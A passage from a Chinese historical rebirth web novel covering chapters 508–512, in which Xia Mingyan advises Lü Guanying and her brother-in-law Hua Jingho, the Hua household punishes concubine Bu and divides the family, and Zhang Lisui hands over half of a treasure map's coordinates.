李玦骨子里是个高高在上的人,如果不是这件事被在公堂上大众掀了出来,他都不记得吕大姑娘是谁了,他是从心底里看不上这对儿母子的。当然,若不是现在遇上了性命攸关的关卡儿,他也绝不会看得上吕冠瑛…… 夏明嫣叹了一声,表示理解:“既然你已经想清楚了,前路凶险,我唯有祝福。其实,我很佩服你,从另一个角度来说,也是羡慕你的。” “羡慕我?我有什么好羡慕的?”吕冠瑛仔细观察,竟然发现夏明嫣的神情竟然并非讥讽,是真的有羡慕之意。 夏明嫣笑了笑,也是想到了这两世以来的夏家人:“这世上的感情从来都是有出处的,亲情虽然与血脉相伴相生,可也是需要亲人之间去维护的。” “你对这孩子如此之好,归根结底还是你的父母和阿姐对你好,你才愿意与他们相依为命、休戚相关。尤其是你阿姐,她走失时你尚不记事,想来你的父母生前为了她,定然没少在你肩上压担子吧?” “她回来之后,与你相处也没有几年,这中间她生了那孩子,你们家中又不想多请人照料,以免引人注意,想来你也出力颇多……若非你阿姐对你甚好,你应该不会如此心甘情愿地付出自己的一生吧。” 吕家二老只有两个女儿,不仅没有强求男嗣撑起门户,对两个女儿都非常好,也应该没有犯一般父母的通病。 一般的父母,在只有两个孩子的情况下,看重的长女或长子不见了,难免要从小对家中剩下的孩子经常言及这流落在外的兄姐一定吃了不知多少苦,将来若是找回来了,他们一定要善待、补偿这兄姐。 尤其是在这孩子被找回来之后,父母更容易偏心,把那些并非其他子女酿成的错倾倒在他们头上,让他们偿还。 如此以来,无论是父母与子女还是子女与这个找回来的兄弟姐妹之间,都会有隔阂,说难听点,能表面和睦就不错了,要说真正为了对方付出后半辈子,那可太难了。 尤其是吕冠瑛这样的,因为之前的事,她已经进入了华家人和夏明嫣的视线,她如果不做这端侯府的贵妾,虽说将来也不见得就能嫁入高门,可当个女管事儿,或是将来让夏明嫣帮忙找户殷实而品行端正、年貌相仿的人家为正室,并不难。 这种日子听起来不如侯府的富贵,可是不会有性命之忧,不用提心吊胆的过日子。吕冠瑛将来会有自己的孩子,能享受属于她的天伦之乐。 不会像现在,把一辈子都搭进去了,即便九死一生,她跟李玦最终保住了性命,也能衣食无忧地过下半辈子,却已经闹得遍体鳞伤。 这样的人生,剩下的日子纵使得到了荣华富贵,也过得不上不下的,用来疗愈前半辈子担惊受怕落下的老伤害不够,是有那条件享受也没那命享受了。 那吕大姑娘回家不足五年便已身死,这里面还有大量的精力花在了生养那孩子上,这样还能跟吕冠瑛建立起如此深厚的姐妹情谊,可见这吕大姑娘对自己这个半道才相认的妹妹,定然是极好的。 要不然吕大姑娘就算要看顾自己的外甥,哪怕那是唯一在世还有联系的血亲,做到帮助他进入端侯府、认祖归宗这一步也就仁至义尽了。 “还是夫人善解人意,肯去理解我们这样的人的心思。” 吕冠瑛的眼泪一下子就涌了出来,她没有细说她与她的父母、阿姐都经历过什么,可她的神情和目光已然说明了一切。 能够把自己的下半辈子都搭上,她无怨无悔,除非她心狠到底,能完全不理会那孩子的死活。 夏明嫣也不多问,端起面前的茶盏道:“我以茶代酒,敬你,愿你和那孩子来日安好。” 吕冠瑛饮了茶,神色肃然道:“虽然我本一介商女,不懂朝堂上的事,可我也能猜到,端侯他落得如今这般下场不仅是因为夏夫人,他定然是摊上大事了。” “入府这大半个月里,他虽然没有交托过我具体的事,可他跟何小娘之间定然是要做什么的。我现在也不求什么了,只希望将来他能留得性命,能保下那孩子。走一步算一步吧,能保他一时算一时。” 能把自己气“中毒”了还成了瘫子的,绝对不是夏明月干的那件事和几句话,只能说明这背后有更大的事。 吕冠瑛自诩凭她自己不可能力挽狂澜,就算那孩子现在不死在夏明月手里,将来也可能因为受家族牵连而死在朝廷的王法之下。 可那又如何,难不成因为知道早晚会死,现在就不活了?还是得努力活下去啊,能多活一天是一天。 夏明嫣和吕冠瑛对视着,竟然在彼此眼中看出了惺惺相惜之意。 在如今这个内宅努力求存甚至活得比从前作为小商贾之女更卑贱的女子眼中,夏明嫣也看到了那个两世以来在卢阳老宅艰苦求存、事事算计,明明一片树叶落下都怕会砸到头,偏偏还要努力走好每一步,一定要熬到回到元京那一天的自己。 夏明嫣将茶盏放下,拿出一个腰牌推给她:“真到了那一天,只要这孩子自己没有作恶,或许我能保住他,不至于让那件事牵连到你们姨甥二人。” “不对,现在应该是母子二人了。这些个高门的日子,表面光鲜,实则大部分人走出每一步都如履薄冰。慢慢熬着吧,总归有个了局的……不过,对靖和,你真就没有一点遗憾么? 第508章各自安好 许是华靖和从前没接触过吕冠瑛这样的女子,那日公堂之上,他便对吕冠瑛有了好感,之后吕冠瑛回去打理吕家的声音,也跟云翠居那边的退军家眷有了往来,就跟华靖和有了交集。 华靖和那小子生性腼腆,况且身边有卜小娘拉着他不让他跟吕冠瑛往来,那日元京府衙外,就连夏明嫣都劝他要想清楚,他就更加犹豫了。 夏明嫣当初提醒他,倒并非看不上吕冠瑛的出身家世,而是因为吕冠瑛是一个跟华靖和完全不一样的人,她甚至跟这元京的官宦人家、书香门第家出身的女子都不一样,更甚至她比大部分商贾之女都还要热烈、刚猛。 这样的一个人,他华靖和能不能招架得住?华靖和并没有离开家族独立谋生的心愿和能力,那么吕冠瑛无法融入元京的内宅圈子和华家,就要看华靖和能不能承担得起这份重担了。 这就像是董氏始终没能融入元京高门圈子一样,可董氏毕竟不一样,因为她的夫君也没融入这个圈子,不会嫌弃她。她还有华靖离这么一个能撑得起门户的好儿子,没人敢对她怎样。 可是吕冠瑛呢?若是只是因为一时心动就嫁进了这样的环境里,以后漫长的日子该怎么熬。 华靖和还没有考虑好这些,不是他不愿意承担这样的责任,而是着实力有不逮。如此,这件事也就耽误了下来,此前他们二人就像是在拉锯,你拉过去,我扯回去,没有一个结果…… 没想到这中间李玦那边有动作了,吕冠瑛也做出了决断:“对于我这样的人来说,心意、情意都是锦上添花,我和我的家人总要先活下去才行。” “我知道华侯和夫人想要越过礼法插手端侯府的家事需要时间,你们不是不想帮我,只是这世上有许多的无奈,不能怪任何人,可我得先保证我的家人活下来。” “我知道,我也未必能保证他的安全,可我总要尽力。二公子,他很好,可他对于我来说是水中月、镜中花,他自己还没活明白呢……” 吕冠瑛眼中含泪却是笑了出来,夏明嫣也笑了,是啊,华靖和还是个大孩子,都还没定性呢。 不选择华靖和,也不仅是因为他无法承担起这重担,也是不想将他拖入这浑水之中,还是让他高高兴兴地做个世家公子吧。 毕竟在华靖和还没想明白的时候就把他拖进来,将来他过得不如意了,还会怎样看待这个曾经让他心动却把他拖进泥潭里的女人? 与其等到那时,在泥潭中相互审视着彼此的不堪,倒不如现在放手,让一切都带着遗憾存活下去。 “其实我很欣赏你,若是没能回到元京,未能嫁与华侯,我倒希望自己能如你这般坚强,能活成你这般样子。希望你日后得偿所愿,也祝那孩子平安长大,自有前程。” 夏明嫣由衷地道,若非重生,若非嫁给了华靖离,就如前世一般,那时她心里远没有如今的吕冠瑛坚定。 吕冠瑛则起身向夏明嫣行了礼,以谢她昔日之恩:“祝华侯和夫人之后万事顺遂,也祝华二公子将来得聘高门淑女,和美一生。” 没有讥讽,只有彼此真心的祝福。 吕冠瑛换了衣裳,准备去府衙做人证,临走时她告诉夏明嫣: “端侯知道我与夫人有交情,却并未叮嘱过我不得与夫人说府中之事。我不止他和何夫人在谋划什么,可我能觉察出,他已萌生退意。” “若是他日华侯肯宽容一二,能够保他和我儿性命,我相信他应该会交出他手上的东西。” 连不知内情的吕冠瑛都能看出事情大概的走向了,李玦这暗中谋划大事的能力可见有多差劲儿,不过他已有退意,这倒是件好事。 回到钩翊侯府的时候,元京府衙那边的情况已经传回来了,夏登云不愧是当御史的好苗子,把夏明月从上到下、从里到外骂了个通透,这当中夏庸和楚氏先后亲自前去阻拦都没能堵住他的嘴。 不过这一告跟当初何夫人不同,何夫人指使人害死了吕大姑娘,这是出了人命了,人证物证俱在,必须判她。 可是夏明月并未逼死何姨母和李姑母极其家眷,他们之间只能判处补偿这两家财物和一些他们该得的庶产。 而吕冠瑛这儿虽说主母搓摩妾室也不能太过分,可吕冠瑛现在只是形容憔悴,并没有多少大的损伤,这还不够判了夏明月。 因此,夏登云和那两家的这番状告起到的作用更多的是让“雷声”响彻元京,然后让夏明月在这恶名之下,不再敢轻举妄动。 李玦放任吕冠瑛出去闹,也是为了这一天。公堂上虽说无法判决,可在德行上却可以申饬,事情闹得这么大,宫里也定是会派人去的。 只要李玦聪明些,就可以借此夺了夏明月的掌家之权,甚至将她幽禁府内,这么做楚霆孝和楚氏都没有资格反对。 夏明嫣听了,对华靖离感慨道:“没想到这夏家竟然出了登云这么个人物,原先我只是想着他并未做过恶,又对我亲近、有礼,可毕竟是楚夫人之子,我只把他当个族亲看待,将来面上能说上几句场面话就可以了。” 她笑了笑,就是觉得这件事挺造化弄人的,“现在看来,就算是为了牵制楚、夏两家的人,也得给他一个好前程才是。夫君有没有法子,让登云阿弟拜一个好师父?” 楚家那边楚霆孝的亲孙儿里还没有太出挑的,最近也开始留意到夏登云了,况且夏登云如今只是忤逆,还坏不了他的大事,他不会对这个外孙动手。 夏登云只要把握好当中的分寸,就能给楚、夏两家捣乱,当然,他不是故意的,而是他对这两家人越是了解,越会发现他们总是踩着他的底线来回横跳。 他的君子之行、正义之举,刚好就是用来跟他们作对的,偏偏他们还对他下不了死守。 华靖离应道:“是得给他找位好师父,明年春天他就该下场科考了吧?之后可以拜在周老御史门下,边读书、科考,边给老御史打个下手,磨磨性子。” “你下次回夏家的时候跟他说说,你看着吧,至少在夏家,将来他大概会觉得你对他最好。” 楚氏的眼里只有夏明月,夏庸从前对他不好不坏,现在才想起重视来了,晚了。 不过,关键还是夏庸、楚霆孝和夏登云骨子里就是两种人,夏登云大概是像了夏家老爷子和他的外曾祖父了,跟这俩人根本走不到一处去。 第509章处置卜小娘 华靖离说着就拿了封帖子出来,当场写了,交给夏明嫣:“让他拿着这个去,还有一个好消息要告诉你。杨大舅找到了,在南疆。” “啊?大舅舅可还好?在哪儿找到的?”夏明嫣激动极了。 上一世的杨大舅杨敏仁在到南边远游之后就再没回来,等她在南疆发现他的踪迹时,他已命不久长,后来就重病缠身、忧郁而终了。后来她托人查了这件事,他应该是被常王掳去了。 华靖离解释道:“的确是常王,他被带去制药了,是一种烟毒,可以伪装成瘴气。我对这东西有印象,上辈子祸害了李家军不少人,可能跟这毒做出来的时间有关系,也可能是上辈子的舅父从中拆穿,华家军没有着他们的道儿。” 现在药未制成,杨敏仁又没有重生,倒是不好问他之后的打算了。 夏明嫣长舒了口气:“无论如何,人找到了就好。他什么时候来元京?还是直接回卢阳?我想去看看他。” “派去的人与他说明了这里的情况,他听说你为蛊医正了名,很是高兴,反而不急着回来了。他现在去了寨子那边,要在那里教寨民采药、制药,还让你不必急,等我们这儿料理好了,一起去南疆看他。” 华靖离讲起了现在寨子里的情况,都是他一回来底下的人告诉他的,他偏偏不让那人来回话。他自己听了,亲自转述给夏明嫣听。 正说着,夏明嫣刚想说他们是不是能把有些计划提前一些,好早点去看杨敏仁。 蛊医本就起于南疆山林烟瘴之地,真能在那边复兴起来,加上现在炮制药材和用针的技艺,定然会有新的发展。 没想到外面传来一阵喧闹,声音应该是从正厅那边传来的,离得有些距离竟然还听得见,可见动静有多大。 夏明嫣正想出去看看,就被华靖离叫住了:“别去了,卜小娘的事让父亲、母亲处理,咱们出面不合适,也省得靖和尴尬。” “圣上在城外行宫旁边赏了座宅子给父亲,他们处置完这件事,就要搬过去了。是给我腾地儿,也是为了让圣上放心。” 既然华靖离已经决定带领华家南迁,上头的忌惮之心去了大半,反而担心他不够被族人和华家军里的兵将信服,想要提升他的威势。 华叶峰当年没当几年钩翊侯就退了下来,现在华家人里有些不想南迁的都私下来找华叶峰说话,把华叶峰迁去御赐的宅子里,既显示了朝廷对他的优容,也将钩翊侯府完整的留给华靖离,彻底确立他在华家宗族中的地位。 而且这也相当于把华叶峰和董氏握在了手里,将来华靖离和夏明嫣要去南疆,这样安排也能让朝廷放心。 既然要彻底确立华靖离的地位,那么华靖和作为备选的老儿子也得被排除在外,他也得跟着住过去,或者在城里另置宅子,分出去住。 这件事之前圣上微服出巡时就私下里跟华叶峰打过招呼,让他提前做些准备,想要什么也可以跟宫里说。 华叶峰是真心想搬家的,他担心这件事提前告诉华靖离和夏明嫣,他们又要劝他不要搬,给他来一套三请三让什么的,就没告诉他们。 可是董氏在收拾细软和心爱之物时还是被卜小娘察觉到了,她意识到这一搬,华靖和就彻底出局了。尤其有圣上发话,那么原本按照族规要分给华靖和的家财也所剩不多了。 她这才下定了决心,依照李玦之前的计划,联合了一个叫华珂的族亲,到军中生事,意图阻止南迁。 那些个军中的人一旦起了别的心思就要来元京斡旋,通过华珂首先能找到的就是她。 往近了说,她至少能捞些钱财给他们母子傍身,往远了说,说不定她就能在这一过程中积累下自己的势力,还能利用端侯府将他们之间的关系绑得更紧。 将来等华靖离去南疆,那儿的局面不会比当初的北疆好多少,中间动点手脚,华靖离应该就没有那样的幸运再闯过一次刺杀了吧? 只要华靖离没了,她又在华靖和身后拉拔起了几支势力,华家宗族里的其他子嗣就再没法子跟他争了。 可是卜小娘这个一直被排除在华家大局之外的人,她很难明白华家内部的团结和信任,完全没有想到华珂刚到天北大营不久就被扣下来了。 念在卜小娘到底是服侍过先太后的人,又是华靖和的生母,华叶峰没把事情做绝,给了她两个选择。 要么她跟华靖和一起分出去,华靖和成为华氏旁支,而她虽是华靖和的生母,却不再是他华叶峰的妾室,以后华靖和要想入仕,不再受华家恩荫。 要么她依然保有华家老妾的名分,但要被送回卜家的老家跟她自己的族人一起过日子,钩翊侯府负责她余生的奉养。而华靖和继续留在元京,以后可以得到华家支持,但一旦发现受了她的挑唆,也会被分出去。 华叶峰还把华靖和也叫了去,让他跟卜小娘一起做选择。 华靖和其实觉得这两个选择都可以,前者就等于让他以后跟亲娘一起过日子了,当个寻常小富户,将来他在画院谋一个职位,再私下里卖卖画,小日子过得很滋润。 要是让卜小娘回卜家的老家去也挺好,他都打听过了,那儿是个山清水秀、民风淳朴的地方,他生母大半辈子没回去过了,刚好能跟那边的姨母和太婆住在左近,方便互相照应。 之前夏明嫣提点过他,让他也理解一下自己生母的不易,他因此特意了解过,那些个宫女不管是嫁出宫的还是在宫里终老的,都特别的思念家乡。 能让卜小娘回到自己的故乡跟自己的亲人团聚,还能继续享受华家给她的吃穿用度,一说起来自己的儿子还是侯府的二公子、钩翊侯的亲弟,简直倍儿有面子! 华靖和偷看着他自己的生母,对着华叶峰恭敬地道:“但凭父亲、母亲做主,我怎么都行,嫂嫂给我找的画院的师父甚是用心,我如今挣的足以养活自己和小娘了。” “我要是分家出来,是不是对兄长更好些?我愿意选前头这个,可是我又觉得小娘要是能回卜家老家去也不错,手足团聚,还能侍奉长辈尽孝。” 华靖和说完还觉得挺对不起大家的,他没把卜小娘回了老家,那些亲族看在她是华家老妾的身份上,一定会捧着她,她一定会高兴的,说出来…… 第510章分家 华靖和想要给卜小娘尽孝,也想给华叶峰尽孝,让华靖离和夏明嫣舒心,他提出了一个折中的办法: “要不就各取一部分吧,我分家出去,让小娘回卜家的老家去养老,还能把宅子修一修,对她来说也算是光宗耀祖了。” “父亲,我知道小娘做了错事,对她的处置应该是惩罚,可是她毕竟是我的生母,我以后也未必能为她做什么了,让她回老家去,有名分在,衣锦还乡,我就没有遗憾了。” 这两种安排各有好处,前者虽然卜小娘没了名分,可是能在元京养老,跟亲生儿子在一处。 虽然两个人都没了侯府的名分,可是毕竟母子在一处,以华靖和的画技和给他的分家银子,不说大富大贵,养活卜小娘,将来成了家,一家人衣食无忧是没问题的。 要说第二种选择,虽说要远离元京,可是卜小娘依旧有名分,服侍的人也给她带上,还给她买宅子。再给族里买上几十亩祭田,族老和族人们对她不会差,甚至还会捧着她,满足她的虚荣心。 华靖和现在也看出来了,他没能力改变自己的生母,只能让她不出事、不祸害别人的情况下,他尽可能地哄着他。 可是这两个选择在卜小娘看来都对她不利,留在元京,分了家,还名分,她一定会被人笑话。 而且华靖和将来顶天了就是画院的画师,即便有品级,撑死了不过八品,她作为一个八品小官的生母,在贵人扎堆的元京,还不得被笑话死? 要是回老家,问题就更大了,谁要那些庄户人家的族人捧着,他们的艳羡对于见过大世面的她说简直一文不值。 她要的是儿子继承爵位,她能做个老封君。别看她是妾室,儿子袭爵,她也是有机会封诰命夫人的,她要的是这样的未来! 卜小娘知道实情败露,哭得一把鼻涕一把泪的,听到亲生儿子这么说,更是要哭得上不来气了: “老侯爷,夫人,妾这半辈子对侯府没有功劳也有苦劳,妾让华珂去说那些话,也是为了华家好。华家在北疆经营了几代人,怎能说放弃就放弃?南疆那都不是人待的地方……” “住口!无知愚妇,再占着北疆你以为还能待得下去?你是要享福还是要脑袋?” 华叶峰气得口不择言,看了一眼一旁闭目养神的董氏,心里暗暗道,当初他就不该接了太后的懿旨,点头纳了这房妾。 还是他的老妻好啊,年轻的时候跟着他屯田,一点不嫌苦,年纪大了,又这般识大体、顾大局,就是对卜小娘,从前也只是带着稍许的艳羡看待对方太守礼、显得有些装腔作势了,暗暗自卑自己不如对方看起来那么体面、庄重。 这都是很正常的,还让她显得有些可爱。尤其是现在,说去南疆就去,一点犹豫都没有,要知道董家也是有人在北疆置办了产业的。董氏写了信过去,董家人搬得比华家人都快呢。 再看看卜小娘……华叶峰忍不住叹气,“你是在宫里待过几年,你见识过宫里的富贵不假,可你这眼光这辈子也就局限在那些妇人手段上了。” “你也不看看那朝堂上的人年年都在换,很多人你看着风光,过上一阵子没见,那是掉了脑袋了,全家、全族都掉脑袋了!” 华叶峰用手指隔空用力点了三下,着重强调了“掉脑袋”,“既然如此,我看就听靖和的吧,分家,把他分出来,安家银子加倍。卜小娘送回老家,一应服侍的人由侯府派遣,若是到了老家还不安分,那你就不再是侯府的人了。” “夫人,你看这样可好?暂时还留着她的名分,不然也不好管束,等到以后,边走边看。” 如果去了卜小娘的名分,就得让她跟华靖和待在一起,这样华靖和多少还能牵制住她,让她有所顾忌。要是放回老家去,还真得用名分牵绊住她。 况且毕竟在府里待了二十年了,华叶峰纵使对她就不曾有过多少感情,这么一个大活人在眼前绕乎了这么多年,还跟他生了一个如此文质彬彬、单纯善良的儿子,怎么说也算是亲人了。 要是不给安排好了,他良心上也过不去,他也得考虑到华靖和的感受。况且都这么长时间了,现在才靠出妾来撇清关系,已经晚了,任何人都不会相信他们真的没有关系了。 “就按你说的办吧。靖和,你父亲说的,你可认可?”董氏问道。 “儿子谨听父亲、母亲安排。” 华靖和恭敬地行了礼,就去劝卜小娘,“小娘,您先回老家去,缺什么了就写信跟我说,我给您置办了让人捎过去。现在嫂嫂那儿也有商队了,一准儿给你捎到。” “等画院这边的课业了了,南迁这事儿有了确切的安排了,我就回老家看您……” 华靖和话还没说完,就被卜小娘甩了一巴掌,她嘴里嚷嚷着怎么就生了他这么一个废物,被几个仆妇硬架着带了下去。 华靖和捂着脸尴尬地站在一边儿,这一回他没有追出去,不过后面华叶峰又说了一些话,大体是说要给他把婚事定下来,成亲之后再分家。 董氏则是把要分给他的庶产和成亲所需要的花销列了单子给他看,一切都是按照主君有子的情况下,守业的老儿子该得的数额分的,还给他添了一些,说是华靖离和夏明嫣的心意。 华靖和捧着厚厚的一本册子,失魂落魄地走出了正厅,行至后花园的小湖边,他被夏明嫣叫住了。 夏明嫣问都没问具体分了多少资财给他,只是将吕冠瑛说的那些话转达给了他: “……吕二娘子是个务实的人,她说的也对,人么,力有大小,许多人这辈子也就能顾着一件事儿。要是顾得多了,可能就一件都做不成了。” “你也清楚,除非端侯府现在就倒了,否则那孩子跟端侯之间毕竟是父子,我们都不能保证他的平安。现在,吕二娘子已经做出了选择,你该尊重她的选择。” 华靖和跟霜打了的茄子似的,垂头丧气地“嗯”了一声:“嫂嫂,我明白,我不会想不开的,我只是有些遗憾,我都还没对她说起过我的心意呢。” “不过也好,说了反而会给她造成负担。以后要是有机会,我也会帮她的……我会努力让自己有这个能耐的。嫂嫂,我是不是太没用了?我不仅比不上兄长,那些堂兄弟,甚至表兄弟都个个比我强。” 夏明嫣笑了笑:“这个问题早就想到你会问了,没想到现在才问出口……这就是你的可贵之处。” 第511章与乔联姻 “可贵之处?还不如说我胆小如鼠。”华靖和讷讷地道。 夏明嫣看了看他,替他解惑:“你不是胆小如鼠,二弟,你很好,你那是纯善,你是不想让你的父兄和家人为难。你也不是生来就没有能耐,是华家的族规限制了你,不能让你太有本事了。” “虽然这族规的形成并非没有道理,但对你和公公这样的人来说,的确有失公允。好在你们都是良善、踏实之人,没有因为不公的对待而生出歪心思。” “相反的,你们都能体恤自己的父兄和家人,在关键的时候把握立场和方向,这样的品质也很难得,不亚于驰骋沙场之志勇。” 华家有这样的家规,也是因为华家男子有太多英年早逝、马革裹尸的,为了保证传承,嫡支必须留一个小儿子守住家业。 这小儿子若是个有大本事也能驰骋沙场的,一来他自己坐不住,想要往前冲,二来,就算他自己不想冲上去,朝廷知道他有这样的能耐,也会授命他必须往前冲,家族的血脉也就断了。 再者就是,为了最大限度地保证这一族规的执行,也要防止这守业的儿子跟前头的兄长争,因此都把这人选往文人或是农人的方向上教养。 华叶峰和华靖和其实都是在这种模式下长大的,他们面对前头骁勇善战的兄长和后头人才辈出的阿弟们,要说不曾有过一点嫉妒和妄想,那就真成圣人了。 可他们最终都为了家族的兴旺和长久发展牺牲了自己,让自己变得平和,在兄弟们活着的时候从旁祝福,万一兄弟们不幸身陨,则由他们挑起家族的重担,让华家有机会休养生息,等待下一代或是几代之后的复兴。 前者是冲锋在前、锋芒毕露、英武壮烈,后者则是平和坚韧、隐忍低调、大智若愚,焉能说后者不伟大? 见华靖和还在腼腆地挠头,夏明嫣提醒道:“别的就不说了,公公三十多岁的时候成了钩翊侯,可在你兄长差不多能够独当一面时就主动退了下来,把爵位让给了你兄长。” “虽说他们是亲父子,你兄长也是正室嫡出,可是你看看光是这元京之中,这种情况的究竟有多少,又有多少能做到这般地步呢?” 功名利禄这东西,一旦到手了,就不想放手,绝大部分人都不能免俗。 可是华叶峰做到了,华靖和也做到了,而且是在他们明确意识到自己实力较弱,放下权柄很可能会吃亏的情况下。 华靖和耳朵都羞红了,他愈发不好意思地挠了挠后脑勺:“我哪有那么好?就算给我机会,我也不能……” 夏明嫣抬手了止住了他,没让他继续说下去:“这样已经很可贵了,而且以后一切都不一样了,你想做什么就去做,分了家,你就不为族规所限了,可以也必须有所作为。” “还有卜小娘那边,你也不必看不开。她虽是你的生母,但你跟她不一样。而且她其实也没有那么的不堪,跟元京高门的其他妾室相比,她最多只能算是泯于众人罢了。你要防着她,不让她再行差踏错,可也不必多想,不是每一个人都能比别人做得好的。” 这人做事啊,能超过其他人当然好,可是做得差不多,也还行吧,况且卜小娘还没来得及犯下大错就被送回她自己的老家去了。 看在华靖和的面子上,只要卜小娘日后不再犯大错,这件事就别提了,华靖离是珍惜华靖和这个手足的。 华靖和的心情好了些,点了点头:“还是嫂嫂待我好,肯对我说这些,不像兄长,见了我要么就板着脸,要么就这样……” 华靖和学着华靖离的样子,跟个演武场上的老学究似的,把一旁的夏明嫣都逗笑了。 夏明嫣轻咳了两声,收敛了些笑意:“二弟,以后都要好好的。再有,你的婚事也要开始张罗了,成了婚才能分家。分了家,才能做你想做的事,你这个年纪去考科举也不晚,可得抓紧了。” “我这儿有一门亲事,如果你愿意,可以考虑一下……我可是为了你好,你早点成亲,这成亲的银子还能让府里出,不然你可要吃亏了。” “嫂嫂想说的是哪户人家的姑娘?刚才父亲也说要为我提亲,我更相信嫂嫂的眼光。”华靖和带着几分羞赧地道。 吕冠瑛这件事放下了,他也想着早点成婚,他要分家出来了,想到以后的日子,多多少少地都有几分孤单。 而且要是不应夏明嫣这边提的亲事,那就得应了华叶峰和董氏那边的,相比起来他当然更相信夏明嫣和华靖离的眼光。 夏明嫣说出了一个连她自己之前都很是意外的名字:“你见过的,也是我自小一起长大的闺中好友,乔姑娘,乔依心,乔将军的嫡出独女。” 无论是出身还是个人,乔依心都是将门虎女,只是可惜上辈子遇人不淑,遇上走在奸雄路上的孙允斌,还被夏明月送进了疯人谷。 这一世,虽说乔依心对华靖和没有特别意思,可也是有好感的。近来乔将军身子不适,就想着早日将自己掌上明珠的终身大事定下来。 华靖和是乔将军看上的,他看上的就是华靖和的纯善还有跟华靖离的关系,华靖和即便分家了,这辈子也会得到华靖离的照拂,更何况这中间还有夏明嫣这层关系。 华靖和这个人对自己的认知远超于一般人的清醒,不会因为将来富贵了就上窜下跳,又是个文弱的画师。 他们乔家历代都是武勋人家,就连他续弦的夫人家里也是,乔依心是真正的独女,没有兄弟姐妹,要是再嫁入武勋人家,乔大将军就担心自己百年之后,没人给乔依心撑腰,她会吃亏。 嫁给华靖和这样的正好,至于他和乔依心之间没有多少情缘,那都不要紧,只要华靖和没有要紧的心上人就可以了,只要性格和家世都配得上,又是秉性端方的人,感情完全可以婚后培养。 华靖和想到乔依心那张虽然不算艳丽,看起来却十分清秀、舒服的脸,含糊着说要先跟华叶峰商量一下,转头又跑回正厅去了。 秋果见状跟过来问道:“夫人,二公子这样,这亲说成了还是没说成?” “要是没成,他就不会回去找公公商量了。等着看吧,用不了多久,府里就要办喜事了。”夏明嫣笑道。 不是每个人都能遇见让自己心动和一上来就不离不弃、生死与共的人的,对乔依心这种一见到谦谦公子就发晕的人来说,能早日定下一门合适的亲事,没什么不好的。 何况华靖和哪一点都符合乔依心的要求,从前乔依心还看上过李玦的脸和孙允斌的气质、谈吐呢,华靖和经过了这阵子的陶冶,长进了许多,将来至少在外貌和谈吐、气质凤仪上,不会比那两位差。 秋果感慨了几句这是一门好亲事,通传了止戈园那边来的消息:“夫人,您赶紧回去看看吧,张大人来了。” 第512章张家献上坐标 张礼岁这个时候上门总让人感觉别有深意,果然夏明嫣见到他的时候,他已经将一件重要的东西交给了华靖离。 之前邓澜“嫁”入钩翊侯府,邓父见华家是值得托付的人家,就将他手上的一半坐标交给了华靖离。 只是他这边交了,端侯府那边也就不好隐瞒下去。华靖离也觉得既然大家手上都没有另一半坐标,都到这时候了,就不如大家都动手去找,局面越乱,可能找到的几率还越大。 于是,在华靖离的授意之下,邓父将那一般坐标交给了李玦,名义上只说大家亲戚一场,以此做交换,只为换一个好聚好散。 果然,李玦那边也有了动作,尤其他那边到底是始作俑者,知道的要更多,他们自己先一步锁定了几家展开调查,一下子就将范围缩小了。 负责这一切的还是孙允斌,因此不仅张家很快就被纳入了怀疑范围内,华家也很快就注意到了张家。 张礼岁得到族里传来的消息,不等端侯府那边直接找上他,他主动找上了华靖离,将当年老爷子那义子,也就是他的叔父留下的书信交了出来。 张礼岁叹息道:“我张家卷入这件事纯属巧合,当年我祖父纳妾其实就是想给贴身服侍的丫鬟一个名分。他当年治水受了伤,双腿残疾,那丫鬟一直伺候她,破了男女大防,不纳她,她也难有个好人家。” “她做了祖父的妾室之后,其实只是日子过得好些了,能多给娘家些钱财,跟祖父之间并没有其他。我那叔父与她有了私情之后,祖父便想着本来就是义子,他与这妾室又是这等关系,这也算不得犯了伦常。” “祖父便对外跟我这叔父解了契,说是将他逐出家门,让他带着这妾室走远一些,轻易别再回来了,也就是了……本来以为他们在外面隐姓埋名的,不说大富大贵,日子总能过下去,没想到他竟然投了李家军,还碰上了海难那么大的事。” 华靖离让人准备了酒菜,二人一起说着话:“这么多年,你们就没想过去找另一半的坐标,或者去寻那海藏宝藏?” 那义子虽说死在了外头,最后是那改嫁了的妾室回去报的丧,可只要有这么个人在,他做过的事、走过的路总是能有法子查证的,他们张家能忍住不动,实属难得。 张礼岁有些心虚地回道:“张家在我太祖父那辈儿就败了,家道中落,还有一群手无缚鸡之力还不成器的后辈,可不得老实待着?可不敢跟你们这些世代功勋的武勋人家比,你们是拿刀剑的,底气比我们硬。” 文臣是什么?一旦被罢了官职,手上就什么都没有了,人脉那种东西,看不见摸不着。你自己有用的时候,人脉是真有用,你自己没用的时候,人脉也就没用了。 不像武勋人家,手上的权力被剥夺了,只要能卖过自己心里那道坎儿,至少自己还能反抗一回。拼死一搏,或许还能搏出个结果。 像张家这样的退居到老家的,那地方也不是要紧的大城,要是有人要收拾他们,伪装成山匪,说不定都能将他们跟衙门一起一锅端了,哪儿敢做那种大事。 张礼岁的感慨中不免带了几分尴尬,“当时我祖父已经不在了,我父亲和几位叔伯商量了一下,又问了我这婶娘也就那位活着回来的妾室一番,都决定隐藏此事。” “老端侯早就识破了我叔父的身份,尚且敢将他灭口,他们根本就不会将我们张家放在眼里。倒不如装作这位婶娘从来就没有回来过,我们什么都不知道,尚且能留一条活路。” “后来也是运气好,大概是我这叔父的身份只有老端侯知道,老端侯走得突然,那时候李世子还小,应该没来得及将我叔父的事告诉他,这件事才算是瞒了下来。” 等到了后来,张家除了张礼岁,没有一个是在元京当差的,也没出过更出挑的人物,这件事自然没法子提起了。 而且要想将海藏取出来,张家人既没人手也没技艺,坐标还只有一半儿。一旦说了出去,圣上以为他们藏匿了另一半坐标,非让他们拿出来不可,那就更糟了。 张家人就当没这件事压根儿没发生过,等到时机合适或是不得不为的时候,才把东西拿出来。不求有功,但求无过。 华靖离看着眼前这封已经发黄了的信笺,笑了一下,让刚回来的夏明嫣也过来一起,将事情大概说了一下: “张大人这是信任咱们呢,才把东西交给咱们。孙公子那边落了空,怕是端侯那边又要犯难了,你说该怎么办?” 李玦想要拿到完整的坐标之后将海藏取出来,之后再看看是彻底投靠楚霆孝,还是将一切都交给圣上和朝廷。不过无论他怎么选,想要的都是一条退路。 可现在他没有了坐标这一优势,就只有探海索这一个优势了,这样以来恐怕想在圣上这儿换退路就比较难了,就怕他会因此反而站在了楚霆孝一边。 夏明嫣想了想,先吃了个春卷,放下筷子才道:“张大人可是我们侯爷出了个难题,这东西交给圣上,因着当初那些海货的本钱本就出自朝廷府库,圣上也未必就会念着张家献图有功,就对张家多加褒奖。” 